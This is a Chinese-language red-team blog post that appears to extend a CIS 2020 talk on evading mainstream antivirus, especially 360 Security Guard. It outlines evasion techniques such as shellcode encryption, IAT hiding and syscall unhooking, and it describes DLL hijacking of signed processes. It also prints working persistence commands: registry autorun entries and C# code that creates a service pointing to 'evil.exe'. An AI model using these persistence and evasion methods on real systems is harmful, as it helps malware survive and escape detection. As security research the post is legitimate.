CIS 2020 议题拓展|Redteaming:主流杀软对抗之路
2021-1-8 10:1:9 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

本文章作为CIS网络安全创新大会议题 Redteaming:主流杀软对抗之路 的扩展与延伸,从为什么出发,到杀软规则的测试与讨论。

CIS议题重点

shellcode加密

针对杀软于shellcode的静态二进制特征查杀,用加密解决shellcode的静态特征。

IAT导入地址表

针对杀软对PE文件的IAT导入表的敏感函数检测,使用动态调用的技巧,完成隐藏导入函数的效果。

混淆编译

针对杀软对特征字符串和函数执行流程的检测,使用编译时混淆字符串和函数调用混淆的办法,隐藏特征字符串,和使用有限状态机的函数执行。

API执行链

针对基于启发式扫描的API执行链检测,使用巨大的内存分配与填充,干扰API执行链,具有行为免杀的效果。

强延时

针对杀软和沙箱的时间加速,使用模拟计算来实现一个强延时,具有无视时间加速和一定的反沙箱效果。

系统调用

针对杀软及EDR的用户态HOOK,使用本地加载并映射ntdll.dll技巧来实现动态系统调用,解决系统调用的兼容性问题,完成对挂钩函数的脱钩。

为什么讲这几点

在我看来,bypass杀软和bypass waf是一样的,需要见招拆招,各种技巧思路都应具有针对性,比如我在CIS中的讲的各点,其实只是一些常规操作,但是它都针对了杀软检测规则的一部分,从而具有目的性的完成想要的效果:bypass。

了解杀软检测规则

这里将从几个案例出发,均是被武器化过的持久化bypass技术,尽量通俗易懂的展现杀软的持久化拦截规则。

PS:虽然均已无法bypass 最新版360,但是对其他杀软有奇效!

举个例子(利用规则)

360安全卫士对于自启动的拦截十分严格,但是问题在于,自启动是正常的系统行为,并不是恶意软件的专属技术,所以,为什么QQ加自启动不会被拦截?

原因也很简单,因为QQ带有高信誉的签名。(那么我们能不能利用这一点呢?)

答案当然是可以的,我们如果能找到一个QQ的DLL劫持,QQ会加载被劫持的恶意DLL,然后恶意的DLL将会为我们添加自启动,于是就利用带有腾讯签名的进程(QQ.exe),为我们添加自启动.

大约是在今年9月份更新360前,这个技巧都是有效的,那么为什么现在失效了?

下面我将用一个案例来测试一下。

这里使用的是360浏览器的一个dll劫持,带有360的签名,但是在最新版360的检测下,由于加载的DLL无签名,又因为这个DLL产生了高危的行为(添加自启动),于是此DLL被定义为恶意文件。

如果是在360未更新前,通过利用规则,在这里利用了360对签名进程的高信誉证书的信任,就可以完成启动项的添加。

再举个例子(绕过规则)

使用360所不知道,不在拦截名单中的自启动,也能达成添加自启动的目的。

reg add "HKCU\Environment" /v UserInitMprLogonScript /d "C:\evil.exe" /f

这个自启动注册表,于今年年初于外网爆出,然后今年10月份被加入360黑名单。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Command /d c:\\windows\\system32\\notepad.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\test" /v Nightly  /t REG_DWORD /d 1

遥测,这是个Windows的自启动计划任务,于今年上半年爆出,今年七月份失效。

using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Management.Automation;using System.Collections.ObjectModel;
public class Program{ public static void Main() { PowerShell ps1 = PowerShell.Create(); ps1.AddScript("new-service –Name OrderService –DisplayName OrderService –BinaryPathName c:/evil.exe –StartupType Automatic;Start-Service OrderService"); ps1.Invoke(); PowerShell ps2 = PowerShell.Create(); ps2.AddCommand("Get-Process"); Collection<PSObject> PSOutput = ps2.Invoke(); foreach (PSObject outputItem in PSOutput) { if (outputItem != null) { Console.WriteLine(outputItem); } }

}}

这个是我去年发现的,在去年讨论使用.net实现powershell被禁用的环境下执行powershell的技巧时,我就尝试过用这种技巧去添加自启动,于今年年初失效。

结论

由我的观察可得出

360安全卫士的拦截规则其实非常死板,完全基于签名与黑名单,添加黑名单中的启动项时,需要检查进程签名,启动项所对应的启动程序也需要检查签名,现在被加载的dll也要检查签名。

进程可信 + 启动项对应对象可信 + dll可信(如果是dll的启动项添加行为) = 添加通过。

利用规则

  • 即利用对高信誉签名的信任,可以完成任意启动项的添加。

优点:灵活,可以直接完成绝大部分行为的bypass。

缺点:难找,难利用。

绕过规则

  • 绕过规则中的黑名单添加项or添加方式。

优点:比较容易寻找并利用,通过研究注册表功能及一些隐藏项,即可找到黑名单外的启动项。 

缺点:启动方式单一,技巧容易被捕获。

尽管今天讲的例子接近失效,但是读者也许可以从这些bypass案例中,找到bypass的思路。

我前段时间发过一个视频,可以任意添加注册表和服务,就是通过系统机制完成的对微软签名的滥用,即使360更新到了13,同样也一样能bypass。

以下两个视频,有兴趣的朋友可以点开看下。

https://www.bilibili.com/video/BV14t4y1i7aX/(第一个视频由于转码失败,需要您手动复制粘贴观看)

木星安全实验室(MxLab),由中国网安·广州三零卫士成立,汇聚国内多名安全专家和反间谍专家组建而成,深耕工控安全、IoT安全、红队评估、反间谍、数据保护、APT分析等高级安全领域,木星安全实验室坚持在反间谍和业务安全的领域进行探索和研究。

文章来源: https://mp.weixin.qq.com/s?__biz=MzU1Mzk4Mzc5MA==&mid=2247485700&idx=1&sn=a8406bf055ecc14baa3f7a9681cb2843&chksm=fbebc345cc9c4a53cc64b743d2f836e2bfea7a8f43dc41f332cc360d45e598e45aa0801efd27&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh